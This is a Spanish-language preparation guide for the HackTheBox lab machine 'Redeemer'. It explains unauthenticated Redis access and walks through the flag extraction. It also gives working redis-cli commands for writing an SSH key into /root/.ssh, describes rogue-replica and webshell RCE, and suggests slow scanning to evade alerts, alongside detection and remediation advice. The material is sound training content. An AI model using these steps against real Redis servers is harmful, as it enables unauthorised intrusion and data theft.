

■ HTB Starting Point — Tier 0

Redeemer

Redis · Acceso sin autenticación · Enumeración de base de datos en memoria

Documento de teoría y preparación táctica. Leer antes de lanzar la máquina.

#	Sección	Qué verás
1	¿Qué es Redis?	Arquitectura, usos, por qué importa en pentesting
2	Puerto y protocolo	6379/TCP, RESP protocol, modelo de comandos
3	Vectores de ataque	No-auth, SSH key write, SLAVEOF RCE, WebShell
4	Flujo de ataque — Redeemer	Recon → enum → extracción de flag paso a paso
5	Comandos clave redis-cli	Referencia rápida de todos los comandos que usarás
6	MITRE ATT&CK	Tácticas y técnicas mapeadas
7	Detección & Remediación	Qué ve el Blue Team, cómo lo arregla el admin
8	Conexiones y siguiente paso	Qué máquinas siguen, qué técnicas se relacionan

1. ¿Qué es Redis?

Redis (Remote Dictionary Server) es una base de datos en memoria, open-source, que almacena datos como pares clave-valor. A diferencia de una base de datos relacional, todo reside en RAM — lo que lo hace extremadamente rápido (microsegundos de latencia). Se usa como caché, message broker, y almacén de sesiones en la mayoría de aplicaciones web modernas.

¿Por qué está en pentesting?

Redis fue diseñado para correr en redes internas confiables. Su modelo de seguridad original asumía que el acceso estaba restringido por firewall — sin contraseña por defecto. Cuando se expone a internet o a redes accesibles por un atacante, la consecuencia es acceso total a todos los datos en memoria.

Estructura de datos soportadas:

Tipo	Descripción	Ejemplo de uso
String	Valor simple (texto, número, binario)	Sesiones, contadores, flags
List	Lista enlazada de strings	Colas de mensajes, logs
Set	Conjunto sin duplicados	Tags, relaciones únicas
Sorted Set	Set ordenado por score	Rankings, leaderboards
Hash	Mapa de campos → valores	Objetos de usuario, config
Stream	Log de eventos append-only	Event sourcing, messaging

Arquitectura simplificada:

Redis corre como proceso single-threaded escuchando en 6379/TCP. Acepta comandos en formato RESP (REdis Serialization Protocol) — protocolo de texto plano legible con netcat. Todo en RAM; persistencia opcional (RDB snapshots o AOF append-only file).

■■ Sin autenticación configurada, cualquier cliente que alcance el puerto 6379 tiene acceso completo — lectura y escritura de todos los datos, y acceso a comandos de administración como CONFIG SET, SLAVEOF, y DEBUG.

2. Puerto y protocolo

Puerto por defecto: 6379/TCP

nmap lo identifica con el banner de Redis. También puede estar en otros puertos — siempre escanear -p- en entornos reales.

RESP — Redis Serialization Protocol

El protocolo es texto plano. Entenderlo te permite debuggear y confirmar que redis-cli es solo un wrapper sobre netcat:

```
# Conexion manual con netcat (equivale a redis-cli)
nc 10.129.X.X 6379
PING
+PONG

# Formato RESP – prefijos por tipo:
# + Simple String      (+OK)
# - Error              (-ERR unknown command)
# : Integer            (:1)
# $ Bulk String        ($6\r\nfoobar\r\n)
# * Array              (*2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n)
```

■ OPSEC: conexiones a 6379 sin TLS viajan en texto plano — comandos y respuestas visibles en el wire. No hay cifrado por defecto en Redis.

Versiones relevantes:

Versión	Cambio de seguridad relevante
< 3.2	Sin requirepass por defecto. Sin protected-mode.
3.2+	protected-mode yes por defecto — bloquea conexiones externas si no hay auth ni bind explícito.
6.0+	ACL (Access Control Lists) — usuarios con permisos granulares.
7.0+	Multi-part AOF. Sin cambios mayores de seguridad por defecto.

En Redeemer verás Redis 5.x — sin ACL, sin protected-mode activo, sin requirepass.

3. Vectores de ataque en Redis

3.1 Acceso sin autenticación (el caso de Redeemer)

Si requirepass no está configurado y el puerto es accesible, te conectas directamente con acceso total. Impacto: dump completo de la base de datos en memoria — credenciales, tokens de sesión, PII — más posible escalación a RCE.

3.2 RCE via CONFIG SET dir + dbfilename

Con acceso a Redis puedes escribir archivos arbitrarios en el filesystem del servidor. Si Redis corre como root, puedes inyectar una clave SSH pública en /root/.ssh/authorized_keys:

```
redis-cli -h TARGET
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET pwned '\n\nssh-rsa AAAA...tu_clave_publica...\n\n'
> BGSAVE
# Acceso directo:
ssh -i tu_clave_privada root@TARGET
```

■■ Requiere que Redis corra como root y tenga permisos de escritura en /root/.ssh. No aplica en Redeemer (Tier 0) — relevante en Fase 1 (Postman).

3.3 RCE via SLAVEOF + módulo malicioso

Conviertes el Redis víctima en slave de tu Redis malicioso. Al replicar, cargas un módulo .so con LOAD MODULE → RCE. Herramienta: redis-rogue-server. Avanzado, entornos reales.

3.4 WebShell via BGSAVE en webroot

Si hay un servidor PHP en el mismo host, apuntas CONFIG SET dir al webroot y escribes un archivo con payload PHP. El intérprete ejecuta el código ignorando el ruido de Redis.

Vector	Requisito	Impacto	Redeemer
No-auth dump	Puerto accesible sin password	Data exfil	SI
SSH key write	Redis como root + /root/.ssh WR	RCE	NO (Tier 0)
SLAVEOF + modulo	Redis accesible + servidor propio	RCE	NO (Tier 0)
WebShell via BGSAVE	Webroot conocido + Redis acces.	RCE	NO (Tier 0)

4. Flujo de ataque — Redeemer paso a paso

Redeemer es pura enumeración y extracción — sin exploits, sin privesc. El objetivo: conectarte a Redis, entender la base de datos, extraer la flag.

Paso 1: Reconocimiento con nmap

nmap detecta Redis con el script redis-info. Verás versión, modo (standalone/cluster), número de bases de datos, y si hay requirepass activo.

```
nmap -sCV -p- --min-rate 5000 10.129.X.X -oN nmap_redeemer.txt
# Resultado esperado:
6379/tcp open  redis    Redis key-value store 5.0.7
```

Paso 2: Conexión directa

PONG = acceso completo. Sin auth = open Redis.

```
redis-cli -h 10.129.X.X
# Verificar acceso:
10.129.X.X:6379> PING
+PONG
# Si hubiera password (no en este caso):
redis-cli -h 10.129.X.X -a 'password'
```

Paso 3: Reconocimiento interno

INFO keypace te dice exactamente en qué base de datos hay claves y cuántas. Redis tiene 16 bases de datos por defecto (db0-db15).

```
10.129.X.X:6379> INFO server
10.129.X.X:6379> INFO keypace
# Ver config relevante:
10.129.X.X:6379> CONFIG GET dir
10.129.X.X:6379> CONFIG GET requirepass
# Ejemplo respuesta INFO keypace:
db0:keys=4,expires=0,avg_ttl=0
```

Paso 4: Enumerar claves

KEYS * devuelve todo. En producción bloquea el servidor durante el scan — en lab es irrelevante, en pentest real usar SCAN.

```
10.129.X.X:6379> SELECT 0
+OK
10.129.X.X:6379> KEYS *
1) "flag"
2) "numb"
3) "temp"
4) "stor"
# Alternativa no bloqueante (para produccion real):
10.129.X.X:6379> SCAN 0
```

Paso 5: Extraer la flag

TYPE es el primer paso si GET falla. El tipo de la clave determina el comando correcto.

```
10.129.X.X:6379> GET flag
"03e1d2b376c37ab3f5167bxxxxxxxxxxxxx"
# Si el tipo no es String, identificar primero:
10.129.X.X:6379> TYPE nombre_clave
# Comandos por tipo:
LRANGE nombre_clave 0 -1    # List
HGETALL nombre_clave        # Hash
SMEMBERS nombre_clave       # Set
```

5. Referencia de comandos redis-cli

Comando	Descripción	Ejemplo
PING	Verifica conectividad	PING -> +PONG
AUTH <pass>	Autenticarse si hay requirepass	AUTH s3cr3t
INFO [seccion]	Info del servidor (server, keyspace, replication)	INFO keyspace
SELECT <db>	Cambiar base de datos (0-15)	SELECT 0
KEYS <pattern>	Listar claves — bloquea servidor en prod	KEYS * / KEYS flag*
SCAN <cursor>	Iterar claves sin bloquear servidor	SCAN 0
TYPE <key>	Ver tipo de dato de una clave	TYPE flag
GET <key>	Leer valor de clave tipo String	GET flag
MGET <k1> <k2>	Leer multiples claves String	MGET flag numb
LRANGE <key> 0 -1	Leer toda una List	LRANGE mylist 0 -1
HGETALL <key>	Leer todos los campos de un Hash	HGETALL user:1
SMEMBERS <key>	Leer todos los miembros de un Set	SMEMBERS tags
ZRANGE <key> 0 -1 WITHSCORES	Leer Sorted Set con scores	ZRANGE rank 0 -1 WITHSCORES
CONFIG GET <param>	Ver configuracion del servidor	CONFIG GET dir
CONFIG SET <param> <val>	Modificar config en runtime	CONFIG SET requirepass 'x'
DBSIZE	Numero de claves en db actual	DBSIZE
SAVE / BGSAVE	Persistir la DB a disco (snapshot RDB)	BGSAVE

Para Redeemer solo necesitas: PING -> INFO keyspace -> SELECT -> KEYS * -> GET. El resto aplica en maquinas mas complejas y entornos reales.

6. MITRE ATT&CK;

Tactica	Tecnica	ID	En Redeemer
Reconnaissance	Active Scanning: Scanning IP Blocks	T1595.001	nmap -p- detecta 6379
Initial Access	Exploit Public-Facing Application	T1190	Redis expuesto sin auth accesible directamente
Credential Access	Unsecured Credentials	T1552.001	Datos en Redis sin cifrar (tokens, posibles creds)
Collection	Data from Local System	T1005	KEYS * + GET extrae todos los datos del servidor
Discovery	Software Discovery	T1518	INFO server revela version, OS, config

Redis sin auth se clasifica como T1190 (acceso externo a servicio mal configurado). Si lo encontraras haciendo pivoting interno seria mas cercano a T1021 (Remote Services). En Redeemer el acceso es directo desde el exterior.

7. Deteccion & Remediacion

Que veria un Threat Hunter / Blue Team:

Fuente	Indicador	Herramienta
Network flow	Conexion TCP a 6379 desde IP externa	Zeek, Suricata, NSG logs
Network capture	Comandos Redis en texto plano (KEYS *, GET, INFO)	Wireshark, Zeek scripts
Redis logs	Slowlog entries + comandos ejecutados si loglevel verbose	redis-cli SLOWLOG GET
Redis logs	Conexion exitosa sin AUTH = requirepass ausente	Revisar /var/log/redis/
SIEM	KEYS * es anomalo en produccion sana — baseline alert	Elastic SIEM, Splunk
Host IDS	redis-server escuchando en 0.0.0.0 (bind all)	Auditd, Falco

Remediacion — lista de control para admins:

- requirepass: en redis.conf -> requirepass . O en runtime: CONFIG SET requirepass 'password'.
- Restringir bind: en redis.conf -> bind 127.0.0.1 (solo loopback). Nunca bind 0.0.0.0 en produccion.
- protected-mode yes (default Redis 3.2+). Bloquea conexiones externas sin auth ni bind explícito.
- Firewall: bloquear 6379/TCP desde internet. Acceso solo desde la app que usa Redis.
- Redis 6+: migrar a ACL para permisos granulares por usuario y comando.
- TLS: habilitar TLS en Redis 6+ para cifrar el trafico en el wire.
- Nunca ejecutar Redis como root — limita el impacto de RCE via CONFIG SET.
- Monitorizar con SLOWLOG: KEYS * en produccion es señal de intrusion o bug grave.

Conexion Red Team / Blue Team: KEYS * en un Redis real es detectable por slowlog y SIEM. En un engagement real se usa SCAN iterativo con delay para no disparar alertas.

8. Conexiones y siguiente paso

Patron comun en Tier 0:

Maquina	Servicio	Similitud con Redeemer
Meow	Telnet	Servicio accesible sin auth -> acceso directo
Fawn	FTP	Servicio accesible sin auth -> enumeracion de archivos
Dancing	SMB	Servicio accesible sin auth -> enumeracion de shares
Redeemer	Redis	Servicio accesible sin auth -> enumeracion de base de datos

El patron es identico en los 4: nmap -> detectar servicio -> cliente nativo -> autenticacion nula/anonima -> enumerar -> extraer flag. En Tier 1 aparecen credenciales a descifrar, web apps, y cadenas de vulns.

Lo que Redis te ensena para el mundo real:

- Redis esta en el stack de casi toda app web moderna (cache de Django, Laravel, Rails, Node). Encontrarlo expuesto en pentest real es comun — especialmente en infraestructura dockerizada sin revision.
- Un Redis sin auth en produccion contiene tipicamente: tokens de sesion (robo de cuentas), claves de API cacheadas, datos de usuarios en proceso, colas de jobs.
- En cloud (AWS ElastiCache, GCP Memorystore): hay casos documentados de ElastiCache accesible por misconfiguracion de Security Groups. El patron es identico al de esta maquina.
- Proyecto Condor: en auditorias en Chile, Redis expuesto aparece frecuentemente en startups que dockerizan sin revisar que puertos quedan accesibles al exterior.

Despues de Redeemer:

Siguiente	Que aprenderas
Tier 1 — Appointment	SQL Injection basico, bypass de login
Tier 1 — Sequel	MySQL sin contrasena — mismo patron, diferente servicio
Fase 1 — Postman	Redis en contexto real + Webmin privesc